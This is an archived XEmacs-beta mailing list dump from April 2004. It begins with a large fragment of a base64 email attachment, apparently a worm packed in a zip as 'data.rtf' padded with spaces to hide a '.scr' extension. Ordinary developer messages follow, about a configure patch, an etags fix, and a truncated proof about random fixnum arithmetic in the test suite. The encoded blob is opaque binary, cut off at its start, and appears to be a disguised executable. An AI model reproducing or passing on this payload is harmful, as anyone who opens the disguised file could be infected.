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 AAQA6AIAAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBo V1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIi I0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiI RElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlU UlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNE RERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiI iIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJS IiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRC d3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERE RERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIi IiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzo MEABacD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAo i/BoyMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyK NAiIg/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwI fXgEii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs 4PtOjNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0 YTAJamXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2 dSLGAxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQ CXQkEENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTN MGJKnwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1 +GVy9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDO EQQN6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIH QQIGEwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4Bc eMBUB7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZu Fb6/KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFw eUlSm+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5U UJNDz+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAAspCX MKOIHd6AcwAAgHMAAFcAAAAAAAAAAAAgAAAAAAAAAGRhdGEucnRmICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLnNjclBLBQYAAAAAAQABAIUAAAD1cwAAAAA= ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Tue Apr 27 14:44:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RIi8s04389; Tue, 27 Apr 2004 14:44:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RIh7403558 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 14:43:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RIh6303538 for turnbull@tux.org; Tue, 27 Apr 2004 14:43:06 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RIh5s03530 for ; Tue, 27 Apr 2004 14:43:06 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BIXXq-000490-00 for ; Tue, 27 Apr 2004 20:43:02 +0200 Received: from p508d2055.dip.t-dialin.net ([80.141.32.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 27 Apr 2004 20:43:02 +0200 Received: from sven by p508d2055.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 27 Apr 2004 20:43:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: PATCH: Detection of xpm when --with-x=no Date: Tue, 27 Apr 2004 20:42:56 +0200 Lines: 11 Message-ID: References: <007601c42701$f30d6b50$0200a8c0@HOVEL00> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2055.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:owf8fteOQdVs1NNYUvXKDaJzdDg= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello David, Unfortunatly the my patch hasn't been applied yet. Why are you building with-x=no ? I just build it with x, then gdi and xwin is build in. If you start it with DISPLAY set it starts with x and if you start it without DISPLAY set it starts with gdi. Best regards Sven From xemacs-beta-admin@xemacs.org Tue Apr 27 17:34:26 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RLY1s13861; Tue, 27 Apr 2004 17:34:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RLXVG13447 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 17:33:31 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RLXUx13430 for turnbull@tux.org; Tue, 27 Apr 2004 17:33:30 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RLXSs13401; Tue, 27 Apr 2004 17:33:28 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BIaCi-00000W-00; Tue, 27 Apr 2004 17:33:24 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id E0C481E089; Tue, 27 Apr 2004 17:34:08 -0400 (EDT) To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Re: [Q21.4] etags named tags bug solved References: <87vfk475i9.fsf_-_@tleepslib.sk.tsukuba.ac.jp> From: Vin Shelton Organization: The XEmacs Development Team Date: Tue, 27 Apr 2004 17:34:08 -0400 In-Reply-To: (Sven Grundmann's message of "Mon, 26 Apr 2004 23:43:09 +0200") Message-ID: Lines: 16 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Sven Grundmann writes: > Hello Vin, > > forget about the previous mail. I just saw that my answer is on > xemacs.patches. Dear Sven, I have not yet gotten your answer, but I went to the mail archives and found your follow up. I will review the patch and let you know. Thanks, Vin From xemacs-beta-admin@xemacs.org Tue Apr 27 17:36:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RLa1s15524; Tue, 27 Apr 2004 17:36:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RLZwN15457 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 17:35:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RLZuC15437 for turnbull@tux.org; Tue, 27 Apr 2004 17:35:56 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RLZus15424; Tue, 27 Apr 2004 17:35:56 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3RLZTDu012621; Tue, 27 Apr 2004 16:35:29 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3RLZStu021211; Tue, 27 Apr 2004 16:35:28 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3RJaarC008996; Tue, 27 Apr 2004 14:36:36 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: Bad test? References: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> <87d65vjui3.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Tue, 27 Apr 2004 14:36:36 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > > Jerry> What I had in mind is something like this: > > Jerry> (defmacro Assert (assertion &optional failing-case) > > Obvious, correct, and useful---but mostly will involve locking barn > doors after the cow elopes with the boar. :-( > > Let's do it and document it, though. Okay, I'll submit that change. > Jerry> In short, there is no technical reason why (- (random) > Jerry> (random)) is better than just plain (random). > > Bzzt: I'm not sure what you think your bzzting there, but if this is a case of premature bzztulation, I hear there are some topical creams that will help. What I said is absolutely correct for an XEmacs with no bignums and a (random) that behaves as documented (which is the case with the VALBITS => INT_VALBITS patch applied). I'll prove it to you! Let N = most-positive-fixnum - most-negative-fixnum + 1; that is, N is the number of fixnums. Assumptions: (1) The set of all fixnums is exactly the set of integers {i | most-negative-fixnum <= i <= most-positive-fixnum}. (2) The fixnums are closed under the usual arithmetic operators. This implies that arithmetic on fixnums "wraps around". In particular: (a) { a - b + N if a - b < most-negative-fixnum (- a b) = { a - b - N if a - b > most-positive-fixnum { a - b otherwise (b) { a + b - N if a + b > most-positive-fixnum (+ a b) = { a + b + N if a + b < most-negative-fixnum { a + b otherwise Lemma 1: For all fixnums a, b, c, (- a (- b c)) = (+ (- a b) c). The proof is long and this is a minor point, so I'm going to skip it unless challenged. I think it is pretty intuitive, though, so I'm not going to sweat it unless somebody cries foul. Lemma 2: For all fixnums a, b, (- (+ a b) a) = b. This proof is omitted for the same reasons. Lemma 3: For all fixnums x and y, there exists exactly one fixnum z such that (- y z) = x. Proof: I will show existence first, then uniqueness. For existence, let z = 